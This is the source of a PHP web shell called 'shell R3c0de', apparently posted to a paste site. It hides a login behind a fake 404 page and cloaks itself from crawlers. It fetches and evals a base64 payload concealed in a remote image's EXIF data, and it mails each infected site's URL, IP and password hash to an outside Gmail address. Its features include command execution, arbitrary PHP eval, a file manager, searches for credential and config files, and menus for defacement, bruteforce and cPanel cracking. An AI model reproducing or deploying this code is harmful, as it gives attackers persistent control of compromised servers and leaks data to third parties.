· 9 years ago · Oct 10, 2016, 06:32 PM
1<?php
2/*
3+++++++++++++++++++++++++++++++
4+shell R3c0de version 1 +
5+feel free to share +
6+++++++++++++++++++++++++++++++
7*/
8$auth_pass = "63a9f0ea7bb98050796b649e85481845"; //md5 password is root
9#-----------------------------------------------
10?><?php
11$color = "#00FF66";
12$sec = 1;
13$default_action = 'FilesMan';
14@define('SELF_PATH', __FILE__);
15if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
16 header('HTTP/1.0 404 Not Found');
17 exit;
18}
19@session_start();
20@error_reporting(0);
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@set_time_limit(0);
25@set_magic_quotes_runtime(0);
26@define('VERSION', '2.0');
27$BASED = exif_read_data("https://lh3.googleusercontent.com/-CwPSq23mveI/V-sW6r55kcI/AAAAAAAAAhk/Ol8XgyOsctsl4MFIhAG9-ocs44YOyLJaQCL0B/w318-d-h318-n/3CA_v2.jpg");
28eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
29if( get_magic_quotes_gpc() ) {
30 function stripslashes_array($array) {
31 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
32 }
33 $_POST = stripslashes_array($_POST);
34}
35function printLogin() {
36 ?>
37<h1>Not Found</h1>
38<p>The requested URL was not found on this server.</p>
39<hr>
40<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
41 <style>
42 input { margin:0;background-color:#fff;border:1px solid #fff; }
43 </style>
44 <center>
45 <form method=post>
46 <input type=password name=pass>
47 </form></center>
48 <?php
49 exit;
50}
51if($sec == 1 && !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
52 if( empty( $auth_pass ) ||
53 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
54 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
55 else
56 printLogin();
57/*------------------ Anti Crawler ------------*/
58if(!empty($_SERVER['HTTP_USER_AGENT']))
59{
60 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
61 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
62 {
63 header('HTTP/1.0 404 Not Found');
64 exit;
65 }
66}
67echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
68/*------------------ End of Anti Crawler -----*/
69
70if( strtolower( substr(PHP_OS,0,3) ) == "win" )
71 $os = 'win';
72else
73 $os = 'nix';
74$safe_mode = @ini_get('safe_mode');
75$disable_functions = @ini_get('disable_functions');
76$home_cwd = @getcwd();
77if( isset( $_POST['c'] ) )
78 @chdir($_POST['c']);
79$cwd = @getcwd();
80if( $os == 'win') {
81 $home_cwd = str_replace("\\", "/", $home_cwd);
82 $cwd = str_replace("\\", "/", $cwd);
83}
84if( $cwd[strlen($cwd)-1] != '/' )
85 $cwd .= '/';
86
87if($os == 'win') {
88 $aliases = array(
89 "List Directory" => "dir",
90 "Find index.php in current dir" => "dir /s /w /b index.php",
91 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
92 "Show active connections" => "netstat -an",
93 "Show running services" => "net start",
94 "User accounts" => "net user",
95 "Show computers" => "net view",
96 "ARP Table" => "arp -a",
97 "IP Configuration" => "ipconfig /all"
98 );
99} else {
100 $aliases = array(
101 "List dir" => "ls -la",
102 "list file attributes on a Linux second extended file system" => "lsattr -va",
103 "show opened ports" => "netstat -an | grep -i listen",
104 "Find" => "",
105 "find all suid files" => "find / -type f -perm -04000 -ls",
106 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
107 "find all sgid files" => "find / -type f -perm -02000 -ls",
108 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
109 "find config.inc.php files" => "find / -type f -name config.inc.php",
110 "find config* files" => "find / -type f -name \"config*\"",
111 "find config* files in current dir" => "find . -type f -name \"config*\"",
112 "find all writable folders and files" => "find / -perm -2 -ls",
113 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
114 "find all service.pwd files" => "find / -type f -name service.pwd",
115 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
116 "find all .htpasswd files" => "find / -type f -name .htpasswd",
117 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
118 "find all .bash_history files" => "find / -type f -name .bash_history",
119 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
120 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
121 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
122 "Locate" => "",
123 "locate httpd.conf files" => "locate httpd.conf",
124 "locate vhosts.conf files" => "locate vhosts.conf",
125 "locate proftpd.conf files" => "locate proftpd.conf",
126 "locate psybnc.conf files" => "locate psybnc.conf",
127 "locate my.conf files" => "locate my.conf",
128 "locate admin.php files" =>"locate admin.php",
129 "locate cfg.php files" => "locate cfg.php",
130 "locate conf.php files" => "locate conf.php",
131 "locate config.dat files" => "locate config.dat",
132 "locate config.php files" => "locate config.php",
133 "locate config.inc files" => "locate config.inc",
134 "locate config.inc.php" => "locate config.inc.php",
135 "locate config.default.php files" => "locate config.default.php",
136 "locate config* files " => "locate config",
137 "locate .conf files"=>"locate '.conf'",
138 "locate .pwd files" => "locate '.pwd'",
139 "locate .sql files" => "locate '.sql'",
140 "locate .htpasswd files" => "locate '.htpasswd'",
141 "locate .bash_history files" => "locate '.bash_history'",
142 "locate .mysql_history files" => "locate '.mysql_history'",
143 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
144 "locate backup files" => "locate backup",
145 "locate dump files" => "locate dump",
146 "locate priv files" => "locate priv"
147 );
148}
149
150function ex($in) {
151 $out = '';
152 if(function_exists('exec')) {
153 @exec($in,$out);
154 $out = @join("\n",$out);
155 }elseif(function_exists('passthru')) {
156 ob_start();
157 @passthru($in);
158 $out = ob_get_clean();
159 }elseif(function_exists('system')) {
160 ob_start();
161 @system($in);
162 $out = ob_get_clean();
163 }elseif(function_exists('shell_exec')) {
164 $out = shell_exec($in);
165 }elseif(is_resource($f = @popen($in,"r"))) {
166 $out = "";
167 while(!@feof($f))
168 $out .= fread($f,1024);
169 pclose($f);
170 }
171 return $out;
172}
173
174function which($p) {
175 $path = ex('which '.$p);
176 if(!empty($path))
177 return $path;
178 return false;
179}
180
181function printHeader() {
182 if(empty($_POST['charset']))
183 $_POST['charset'] = "UTF-8";
184 global $color;
185
186 echo '<html>
187<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>shell R3c0de Shell V1</title><link href="http://i62.tinypic.com/34xjon7.gif" rel="icon" type="image/x-icon">
188<style>
189 body {background-color:#1c451c;color:silver;}
190 body,td,th { font: 8pt Lucida,Verdana;margin:0;vertical-align:top; }
191 span,h1,a { color:'.$color.' !important; }
192 span { font-weight: bolder; }
193 h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
194 div.content { padding: 0px;margin:0 0px;background: #444;border-bottom:5px solid #red;}
195 a { text-decoration:none; }
196 a:hover { border-bottom:0px solid #5e5e5e; }
197 a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;}
198 .ml1 { border:2px solid 430303;padding:5px;margin:0;overflow: auto; }
199 .bigarea { width:100%;height:250px;margin-top:0px;}
200 input, textarea, select { margin:0;color:#FFFFFF;background-color:#48231F;border:2px solid #E8E8E8; font: 10pt arial,"Courier New"; }
201 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#D21F0C;}
202 form { margin:0px; }
203 #toolsTbl { text-align:center; }
204 .toolsInp { width: 90%; }
205 .main th {text-align:left;background-color:#5e5e5e;}
206 .main tr:hover{background-color:#b34b4b;}
207 .main td, th{vertical-align:middle;}
208 .menu {background: #7E0523;}
209 .menu th{padding:3px;font-weight:bold;-moz-border-radius: 0px; -webkit-border-radius: 5px; -khtml-border-radius: 7px; border-radius: 7px;}
210 .menu th:hover{background:#581D2D;border-bottom:1px solid #c40909;border-top:1px solid #c40909;}
211 pre {font-family:Tahoma,Verdana,Arial;color:#FFFFFF;}
212 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
213
214 .logo {text-align:center;font-size:40px;}
215 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
216 .cpr {margin-bottom:5px;font-weight:bold;}
217 .cpb {width:34px;margin:0 5px;}
218 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
219 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
220 .npoad td {padding:0;}
221 </style>
222
223</html>
224<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
225 <script>
226 function set(a,c,p1,p2,p3,charset) {
227 if(a != null)document.mf.a.value=a;
228 if(c != null)document.mf.c.value=c;
229 if(p1 != null)document.mf.p1.value=p1;
230 if(p2 != null)document.mf.p2.value=p2;
231 if(p3 != null)document.mf.p3.value=p3;
232 if(charset != null)document.mf.charset.value=charset;
233 }
234 function g(a,c,p1,p2,p3,charset) {
235 set(a,c,p1,p2,p3,charset);
236 document.mf.submit();
237 }
238 function a(a,c,p1,p2,p3,charset) {
239 set(a,c,p1,p2,p3,charset);
240 var params = "ajax=true";
241 for(i=0;i<document.mf.elements.length;i++)
242 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
243 sr("'.$_SERVER['REQUEST_URI'].'", params);
244 }
245 function sr(url, params) {
246 if (window.XMLHttpRequest) {
247 req = new XMLHttpRequest();
248 req.onreadystatechange = processReqChange;
249 req.open("POST", url, true);
250 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
251 req.send(params);
252 }
253 else if (window.ActiveXObject) {
254 req = new ActiveXObject("Microsoft.XMLHTTP");
255 if (req) {
256 req.onreadystatechange = processReqChange;
257 req.open("POST", url, true);
258 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
259 req.send(params);
260 }
261 }
262 }
263 function processReqChange() {
264 if( (req.readyState == 4) )
265 if(req.status == 200) {
266 //alert(req.responseText);
267 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
268 var arr=reg.exec(req.responseText);
269 eval(arr[2].substr(0, arr[1]));
270 }
271 else alert("Request error!");
272 }
273 </script>
274 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:430303;"><div class="content" style="border-top:5px solid #862F26;">
275 <form method=post name=mf style="display:none;">
276 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
277 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
278 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
279 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
280 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
281 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
282 </form>';
283 $freeSpace = @diskfreespace($GLOBALS['cwd']);
284 $totalSpace = @disk_total_space($GLOBALS['cwd']);
285 $totalSpace = $totalSpace?$totalSpace:1;
286 $disable_functions = @ini_get('disable_functions');
287 $release = @php_uname('r');
288 $kernel = @php_uname('s');
289 if(!function_exists('posix_getegid')) {
290 $user = @get_current_user();
291 $uid = @getmyuid();
292 $gid = @getmygid();
293 $group = "?";
294 } else {
295 $uid = @posix_getpwuid(@posix_geteuid());
296 $gid = @posix_getgrgid(@posix_getegid());
297 $user = $uid['name'];
298 $uid = $uid['uid'];
299 $group = $gid['name'];
300 $gid = $gid['gid'];
301 }
302 $cwd_links = '';
303 $path = explode("/", $GLOBALS['cwd']);
304 $n=count($path);
305 for($i=0;$i<$n-1;$i++) {
306 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
307 for($j=0;$j<=$i;$j++)
308 $cwd_links .= $path[$j].'/';
309 $cwd_links .= "\")'>".$path[$i]."/</a>";
310 }
311 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
312 $opt_charsets = '';
313 foreach($charsets as $item)
314 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
315 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Defacer' => 'Deface','Code Injector'=>'Injector','Zone H'=>'ZHposter','CPCrack'=>'Cpanel','Domains' => 'Domain');
316 if(!empty($GLOBALS['auth_pass']))
317 $m['Logout'] = 'Logout';
318 $menu = '';
319 foreach($m as $k => $v)
320 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
321 $drives = "";
322 if ($GLOBALS['os'] == 'win') {
323 foreach( range('a','z') as $drive ){
324 if (is_dir($drive.':\\'))
325 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
326 }
327 $drives .= '<br />: ';
328 }
329 if($GLOBALS['os'] == 'nix') {
330 $dominios = @file_get_contents("/etc/named.conf");
331 if(!$dominios) {
332 $d0c = "CANT READ named.conf";
333 } else {
334 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
335 $out = sizeof(array_unique($out[1]));
336 $d0c = $out." Domains";
337 }
338 } else {
339 $d0c = " --- ";
340 }
341 if($GLOBALS['os'] == 'nix' )
342 {
343 $usefl = ''; $dwnldr = '';
344 if(!@ini_get('safe_mode')) {
345 $temp = array();
346 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
347 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
348 $usefl = implode(', ',$temp);
349 $temp = array();
350 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
351 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
352 $dwnldr = implode(', ',$temp);
353 } else {
354 $usefl = ' ------- '; $dwnldr = ' ------- ';
355 }
356 } else {
357 $usefl = ' ------- '; $dwnldr = ' ------- ';
358 }
359 echo '<table class="info" cellpadding="2" cellspacing="0" width="100%"><tr><td width="160px"><img border=0 src=http://localhost:8080/xampp/Senjata/shell R3c0de%20logo.png width=150 height=80> </b><div class="logo">shell R3c0de<sup>®</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1"></div><div class="eca2">TeaM shell R3c0de</div></td>
360 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
361 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
362 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
363 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
364 '</div></div><div style="margin:5;background:#975A5A;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#430303;">';
365}
366
367function printFooter() {
368 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
369
370echo '</div><div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;">
371<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
372 <tr>
373 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
374 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
375 </tr>
376 <tr>
377 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
378 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
379 </tr>
380 <tr>
381 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
382 <td><form method="post" ENCTYPE="multipart/form-data">
383 <input type=hidden name=a value="FilesMAn">
384 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
385 <input type=hidden name=p1 value="uploadFile">
386 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
387 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
388 </tr>
389</table></div></div>
390<div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;text-align:center;font-weight:bold;">shell R3c0de Shell V1, ©Team shell R3c0de @ R3c0de by XIIX</div></div>
391</div>
392</body></html>';
393}
394
395if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
396if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
397
398if(!isset($_SESSION['trimite'])){
399$url="<b>Pass(MD5):</b> ".$auth_pass."<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."\n<b>Url:</b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n<b>User IP:</b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
400 @mail("drew.jimmy208@gmail.com","shell R3c0de Shell v2",$url);
401 $_SESSION['trimite']=true;
402}
403
404function viewSize($s) {
405 if($s >= 1073741824)
406 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
407 elseif($s >= 1048576)
408 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
409 elseif($s >= 1024)
410 return sprintf('%1.2f', $s / 1024 ) . ' KB';
411 else
412 return $s . ' B';
413}
414
415function perms($p) {
416 if (($p & 0xC000) == 0xC000)$i = 's';
417 elseif (($p & 0xA000) == 0xA000)$i = 'l';
418 elseif (($p & 0x8000) == 0x8000)$i = '-';
419 elseif (($p & 0x6000) == 0x6000)$i = 'b';
420 elseif (($p & 0x4000) == 0x4000)$i = 'd';
421 elseif (($p & 0x2000) == 0x2000)$i = 'c';
422 elseif (($p & 0x1000) == 0x1000)$i = 'p';
423 else $i = 'u';
424 $i .= (($p & 0x0100) ? 'r' : '-');
425 $i .= (($p & 0x0080) ? 'w' : '-');
426 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
427 $i .= (($p & 0x0020) ? 'r' : '-');
428 $i .= (($p & 0x0010) ? 'w' : '-');
429 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
430 $i .= (($p & 0x0004) ? 'r' : '-');
431 $i .= (($p & 0x0002) ? 'w' : '-');
432 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
433 return $i;
434}
435
436function viewPermsColor($f) {
437 if (!@is_readable($f))
438 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
439 elseif (!@is_writable($f))
440 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
441 else
442 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
443}
444
445if(!function_exists("scandir")) {
446 function scandir($dir) {
447 $dh = opendir($dir);
448 while (false !== ($filename = readdir($dh))) {
449 $files[] = $filename;
450 }
451 return $files;
452 }
453}
454function actionSecInfo() {
455 printHeader();
456 echo '<h1>Server security information</h1><div class=content>';
457 function showSecParam($n, $v) {
458 $v = trim($v);
459 if($v) {
460 echo '<span>'.$n.': </span>';
461 if(strpos($v, "\n") === false)
462 echo $v.'<br>';
463 else
464 echo '<pre class=ml1>'.$v.'</pre>';
465 }
466 }
467
468 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
469 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
470 showSecParam('Open base dir', @ini_get('open_basedir'));
471 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
472 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
473 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
474 $temp=array();
475 if(function_exists('mysql_get_client_info'))
476 $temp[] = "MySql (".mysql_get_client_info().")";
477 if(function_exists('mssql_connect'))
478 $temp[] = "MSSQL";
479 if(function_exists('pg_connect'))
480 $temp[] = "PostgreSQL";
481 if(function_exists('oci_connect'))
482 $temp[] = "Oracle";
483 showSecParam('Supported databases', implode(', ', $temp));
484 echo '<br>';
485
486 if( $GLOBALS['os'] == 'nix' ) {
487 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
488 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
489 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
490 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
491 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
492 showSecParam('OS version', @file_get_contents('/proc/version'));
493 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
494 if(!$GLOBALS['safe_mode']) {
495 echo '<br>';
496 $temp=array();
497 foreach ($userful as $item)
498 if(which($item)){$temp[]=$item;}
499 showSecParam('Userful', implode(', ',$temp));
500 $temp=array();
501 foreach ($danger as $item)
502 if(which($item)){$temp[]=$item;}
503 showSecParam('Danger', implode(', ',$temp));
504 $temp=array();
505 foreach ($downloaders as $item)
506 if(which($item)){$temp[]=$item;}
507 showSecParam('Downloaders', implode(', ',$temp));
508 echo '<br/>';
509 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
510 showSecParam('HDD space', ex('df -h'));
511 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
512 }
513 } else {
514 showSecParam('OS Version',ex('ver'));
515 showSecParam('Account Settings',ex('net accounts'));
516 showSecParam('User Accounts',ex('net user'));
517 }
518 echo '</div>';
519 printFooter();
520}
521
522function actionPhp() {
523 if( isset($_POST['ajax']) ) {
524 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
525 ob_start();
526 eval($_POST['p1']);
527 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
528 echo strlen($temp), "\n", $temp;
529 exit;
530 }
531 printHeader();
532 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
533 echo '<h1>PHP info</h1><div class=content>';
534 ob_start();
535 phpinfo();
536 $tmp = ob_get_clean();
537 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
538 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
539 $tmp = preg_replace('!h1!msiU','h2',$tmp);
540 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
541 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
542 echo $tmp;
543 echo '</div><br>';
544 }
545 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
546 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
547 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
548 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
549 if(!empty($_POST['p1'])) {
550 ob_start();
551 eval($_POST['p1']);
552 echo htmlspecialchars(ob_get_clean());
553 }
554 echo '</pre></div>';
555 printFooter();
556}
557
558function actionFilesMan() {
559 printHeader();
560 echo '<h1>File manager</h1><div class=content>';
561 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
562 switch($_POST['p1']) {
563 case 'uploadFile':
564 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
565 echo "Can't upload file!";
566 break;
567 break;
568 case 'mkdir':
569 if(!@mkdir($_POST['p2']))
570 echo "Can't create new dir";
571 break;
572 case 'delete':
573 function deleteDir($path) {
574 $path = (substr($path,-1)=='/') ? $path:$path.'/';
575 $dh = opendir($path);
576 while ( ($item = readdir($dh) ) !== false) {
577 $item = $path.$item;
578 if ( (basename($item) == "..") || (basename($item) == ".") )
579 continue;
580 $type = filetype($item);
581 if ($type == "dir")
582 deleteDir($item);
583 else
584 @unlink($item);
585 }
586 closedir($dh);
587 rmdir($path);
588 }
589 if(is_array(@$_POST['f']))
590 foreach($_POST['f'] as $f) {
591 $f = urldecode($f);
592 if(is_dir($f))
593 deleteDir($f);
594 else
595 @unlink($f);
596 }
597 break;
598 case 'paste':
599 if($_SESSION['act'] == 'copy') {
600 function copy_paste($c,$s,$d){
601 if(is_dir($c.$s)){
602 mkdir($d.$s);
603 $h = opendir($c.$s);
604 while (($f = readdir($h)) !== false)
605 if (($f != ".") and ($f != "..")) {
606 copy_paste($c.$s.'/',$f, $d.$s.'/');
607 }
608 } elseif(is_file($c.$s)) {
609 @copy($c.$s, $d.$s);
610 }
611 }
612 foreach($_SESSION['f'] as $f)
613 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
614 } elseif($_SESSION['act'] == 'move') {
615 function move_paste($c,$s,$d){
616 if(is_dir($c.$s)){
617 mkdir($d.$s);
618 $h = opendir($c.$s);
619 while (($f = readdir($h)) !== false)
620 if (($f != ".") and ($f != "..")) {
621 copy_paste($c.$s.'/',$f, $d.$s.'/');
622 }
623 } elseif(is_file($c.$s)) {
624 @copy($c.$s, $d.$s);
625 }
626 }
627 foreach($_SESSION['f'] as $f)
628 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
629 }
630 unset($_SESSION['f']);
631 break;
632 default:
633 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
634 $_SESSION['act'] = @$_POST['p1'];
635 $_SESSION['f'] = @$_POST['f'];
636 foreach($_SESSION['f'] as $k => $f)
637 $_SESSION['f'][$k] = urldecode($f);
638 $_SESSION['cwd'] = @$_POST['c'];
639 }
640 break;
641 }
642 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
643 }
